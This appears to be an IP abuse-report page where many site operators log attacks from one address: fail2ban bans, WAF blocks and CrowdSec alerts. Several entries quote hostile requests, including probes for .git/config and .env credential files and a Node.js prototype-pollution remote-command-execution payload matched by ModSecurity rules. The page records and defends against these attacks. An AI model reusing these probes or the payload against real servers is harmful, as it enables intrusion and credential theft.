🇳🇱
homeshowdomain.nl
2026-11-07 22:59:06
UTC ·
(54 minutes ago)
Auto-ban: >3000 req/min op 2026-11-07
Web App Attack
SSH
Hacking
🇫🇷
masterguru
2026-11-07 18:09:21
UTC ·
(5 hours ago)
Restricted File Access Attempt. Matched phrase ".git/" at REQUEST_FILENAME. (930130-193)
Hacking
Web App Attack
🇫🇷
masterguru
2026-11-07 17:28:47
UTC ·
(6 hours ago)
Restricted File Access Attempt. Matched phrase ".git/" at REQUEST_FILENAME. (930130-197)
Hacking
Web App Attack
🇧🇷
radardatelecom
2026-11-07 16:54:11
UTC ·
(6 hours ago)
Blocked by Radar da Telecom firewall — abuseipdb
Bad Web Bot
Web App Attack
🇭🇺
miszterx.hu
2026-11-07 15:29:11
UTC ·
(8 hours ago)
XORP (haproxy): 12x HTTP 404/403/500 or handshake failure in 24h. Automated report from log_check_iptables_generator.sh (xorp.hu)
Web App Attack
🇩🇪
rammsp
2026-11-07 07:25:57
UTC ·
(16 hours ago)
2026-11-07 08:23:35,637 fail2ban.actions [2466752]: NOTICE [apache-modsecurity] Ban 34.32.117.117
2026-11-07 08:25:56,016 fail2ban.actions [2466752]: NOTICE [apache-404] Ban 34.32.117.117
...
Brute-Force
Port Scan
🇺🇸
francelink.fr
2026-11-07 05:38:29
UTC ·
(18 hours ago)
Azure WAF blocked a request. Rule: 949110. Observed at: 2026-11-07T05:37:11.000Z.
Web App Attack
🇪🇸
el-brujo
2026-11-07 05:29:42
UTC ·
(18 hours ago)
07/Nov/2026:06:29:41.988625 +0100Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 34.32.117.117] ModSecurity: Warning. Pattern match "(?:\\\\\\\\$(?:\\\\\\\\((?:\\\\\\\\(.*\\\\\\\\)|.*)\\\\\\\\)|\\\\\\\\{.*\\\\\\\\})|[<>]\\\\\\\\(.* ...
show more
07/Nov/2026:06:29:41.988625 +0100Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 34.32.117.117] ModSecurity: Warning. Pattern match "(?:\\\\\\\\$(?:\\\\\\\\((?:\\\\\\\\(.*\\\\\\\\)|.*)\\\\\\\\)|\\\\\\\\{.*\\\\\\\\})|[<>]\\\\\\\\(.*\\\\\\\\))" at ARGS:0. [file "/etc/httpd/modsecurity.d/activated_rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "at
...
show less
Hacking
Web App Attack
🇺🇸
Rip
2026-11-07 04:54:24
UTC ·
(18 hours ago)
Remote Command Execution - Unix Shell Expression Found in URI
Web App Attack
🇳🇱
Alt255
2026-11-07 03:09:34
UTC ·
(20 hours ago)
[ti-24al] Web exploit scanning: 1 suspicious requests detected by fail2ban jail apache-scanner. Example: 34.32.117.117 - - [07/Nov/2026:04:09:13 +0100] "GET /.git/config HTTP/1.1" 503 2007 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM ...
show more
[ti-24al] Web exploit scanning: 1 suspicious requests detected by fail2ban jail apache-scanner. Example: 34.32.117.117 - - [07/Nov/2026:04:09:13 +0100] "GET /.git/config HTTP/1.1" 503 2007 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
...
show less
Bad Web Bot
Web App Attack
🇩🇪
4server
2026-11-07 03:04:29
UTC ·
(20 hours ago)
[SatNov0704:04:27.7987292026][security2:error][pid2173191:tid2173323][client34.32.117.117:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\} ...
show more
[SatNov0704:04:27.7987292026][security2:error][pid2173191:tid2173323][client34.32.117.117:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"noleggi.ch\"][uri\"/\"][unique_id\"au6VO_BA7TwHjBV5fL-k-wAAARI\"]
show less
Port Scan
Brute-Force
Web App Attack
🇫🇷
HerrWolf
2026-11-07 02:15:04
UTC ·
(21 hours ago)
CrowdSec Detection: crowdsecurity/http-admin-interface-probing
Web App Attack
2026-11-07 01:31:26
UTC ·
(22 hours ago)
Scan for .env Files at 2026-11-07T01:31:26+00:00
Web App Attack
🇩🇪
Dominik Lysiak
2026-11-07 00:49:45
UTC ·
(23 hours ago)
34.32.117.117 - - [07/Nov/2026:01:49:44 +0100] "GET /.git/config HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
34.32.117.117 - - [07/Nov/2026:01:49:44 +0100 ...
show more
34.32.117.117 - - [07/Nov/2026:01:49:44 +0100] "GET /.git/config HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
34.32.117.117 - - [07/Nov/2026:01:49:44 +0100] "GET /.env HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
34.32.117.117 - - [07/Nov/2026:01:49:44 +0100] "GET /.env.local HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
...
show less
Web App Attack
🇦🇺
2000cn.com.au
2026-11-07 00:39:15
UTC ·
(23 hours ago)
This IP was detected by CrowdSec triggering crowdsecurity/http-sensitive-files
Web App Attack
Hacking
